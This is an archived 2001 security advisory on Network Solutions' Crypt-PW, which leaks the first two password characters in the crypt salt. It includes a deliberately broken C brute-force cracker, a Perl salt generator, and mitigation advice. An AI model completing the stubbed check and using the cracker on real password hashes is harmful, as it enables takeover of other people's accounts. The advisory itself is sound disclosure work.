COMMAND
Crypt-PW
SYSTEMS AFFECTED
Network Solutions Crypt-PW
PROBLEM
Peter Ajamian found following. While crypt password authentication
is not in and of itself very secure, Network Sulotions have made
it even less so by including the first two characters of the
password as the salt of the encrypted form. While the password
is transmitted via a secure session, the encrypted form is
returned almost immediately in a non-encrypted www session. Also,
this password is typically emailed back and forth to the user no
less than two times (and often times more). This allows several
opportunities for someone to observe the encrypted password, this
in and of itself is not good.
Discovering the original password from the encrypted form is made
magnitudes easier by the inclusion of the first two characters of
the password in the salt (proof of concept code follows at the end
of this message). Using the proof of concept code I was able to
derive my own six character password in less than one minute on
an old Pentium 200 MMX computer. A new 1ghz computer could easily
crank out 6 char passwords in mere seconds, 8 char passwords in a
few hours, and a 10 char password probably in a week to a month
or better.
So far we have established the relative ease of obtaining the
encrypted form of the password and ease of converting that
encryption back to the original password. The rest should be
horrifyingly clear.
Proof of concept code (purposefully broken):
/*
* This is for cracking Network Solutions passwords. This assumes the
* following...
* 1. The salt is the first two chars of the password (this is the
* standard gotcha for Network Solutions usage of crypt()).
* 2. If the first character of the salt is lowercase than the password
* is all lowercase
* 3. If the first character of the salt is uppercase ... well you get
* the idea.
* 4. If the first character of the salt a digit ...
* 5. There are no symbols in the password.
* 6. The password is between three and ten characters in length.
*
* These are a lot of assumptions to make, but this is just proof of
* concept code. It is assumed that if the password uses a dictionary
* word then knowledge of the first two letters (which Network Solutions
* places right in the salt) will greatly speed up the process of
* cracking. This code does not use a dictionary, but code is widely
* available which does and could easily be modified to take advantage
* of the two character "head start" that Network Solutions gives you.
*
* This program and all code contained herein is copyright 2001 by Peter
* Ajamian.
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
/* Crypt function needs to be prototyped, a wierd behavior of the library
*/
char *crypt(const char *key, const char *salt);
/*
* PWDCHECK() compares a plain-text password to its encrypted form.
* it returns 0 if the passwords match and non-zero if the passwords
* do not match.
*
* plain = The plain-text password.
* encr = The encrypted password.
*/
/* !FIXME! */
#define PWDCHECK(plain,encr) (1)
/*
* These are globals for greater efficiency. Because chkpass is called
* recursively it is not very worthwhile to be making multiple copies of
* these and passing them millions of times all over the place. This
* should save a large amount of CPU time.
*/
char *c_pass, pass[11], lbound, rbound;
int len;
void chkpass(int current)
{
/*
* Yes, this generates an extra copy of c, but considering how much it's
* referenced it should probably be kept in a CPU register and should save
* CPU cycles this way (here's hoping that the register keyword works).
*/
register char c;
if (current >= len)
for (c = lbound; c <= rbound; c++) {
pass[current] = c;
if (!PWDCHECK(pass, c_pass)) {
printf("Found password: %s\n", pass);
exit(EXIT_SUCCESS);
}
}
else
for (c = lbound; c <= rbound; c++){
pass[current] = c;
chkpass(current + 1);
}
}
int main(int argc, char **argv)
{
if (argc != 2) {
puts("Usage: pwdtest crypt-pass\n");
return EXIT_FAILURE;
}
argv++;
strncpy(pass, *argv, 2);
if (isdigit(*pass)) {
lbound = '0';
rbound = '9';
} else if (islower(*pass)) {
lbound = 'a';
rbound = 'z';
} else if (isupper(*pass)) {
lbound = 'A';
rbound = 'Z';
} else {
puts("First char of passwd must be alphnumeric.\n");
return EXIT_FAILURE;
}
c_pass = *argv;
for (len = 2; len < 10; len++) {
pass[len + 1] = 0;
chkpass(2);
}
puts("Unable to find a password match.\n");
return EXIT_FAILURE;
}
Note that we are facing the same (?) problems as we had in past:
http://oliver.efri.hr/~crv/security/bugs/Others/crypt-pw.html
For those interested here is perl program to generate Crypt-PW's
with a propper salt.
#!/usr/bin/perl
$salt=salt();
print "password encryptee, [CTRL]-D quits.\n";
while (<STDIN>) {
chop;
$text=crypt($_,$salt);
print $text."\n";
}
sub salt {
local($salt);
local($i, $rand);
local(@itoa64) = ( 0 .. 9, a .. z, A .. Z ); # 0 .. 63 # to64
for ($i = 0; $i < 8; $i++) {
srand(time + $rand + $$);
$rand = rand(25*29*17 + $rand);
$salt .= $itoa64[$rand & $#itoa64];
}
return $salt;
}
SOLUTION
Network Solutions was notified of the problem on May 17, 2001 and
they are looking into the severity of the problem as well as
possible solutions.
If you must use CRYPT-PW then the following suggestions are
recommended:
- Password should be at least 10 characters in length (Pointless,
as the algorithm will only look at 8 characters.)
- The password should contain a combination of upper and lower
case as well as numbers and preferably some other symbols.
- Do not use any dictionary words, proper names, or other easily
recognizable character sequences or forms of them in your
password.
- The first two characters of your password should be _completely_
unrelated to the rest of the password and should not provide any
hints as to what the balance of the password may be.
- If you have access to and know how to use your own crypt
generating program you should be able to substitute your own
encryption for that provided by Network Solutions on the form.
If you can do this it is recommended that you use a random salt
to generate your password or at least one that is unrelated to
the password itself (not tested to see if Network Solutions
would accept such a substitution of passwords on thier form but
the method by which the scheme is implemented suggests that it
should work) (note if you try this you may have to convince
Network Solutions phone reps to try the password even though
the first two characters don't match when you give the password
over the phone).
There are some additional concerns about their Crypt-PW solution
according to Jan Kohl:
1) Even though Crypt-PW is supposedly a replacement for MAIL-TO,
you still must have a valid email address to use Crypt-PW...so
what IS the point of having Crypt-PW? (Especially as it's not
secure)
2) If you do NOT have a valid email address (i.e. dropped account,
ect) NS emails the completed forms (with the entire Auth
password) to the address anyway. If, especially in the case of
some ISPs, they have 'reused' the login after an extended
amount of time, they've just emailed someone else your
encrypted password for your domain. If not, it's going to go
into the admin no-relay logs, leaving it open to abuse by
someone with access to the mail host. And, not to leave out
Peter's mention of the fact that they are sending the cleartext
mail (with the password) where anyone can view it.
Workarounds...do NOT use Crypt-PW as an authentication, and insure
that you change your domain records *before* losing the account,
as Crypt-PW will not allow you to access or change records if you
do not still own the email address.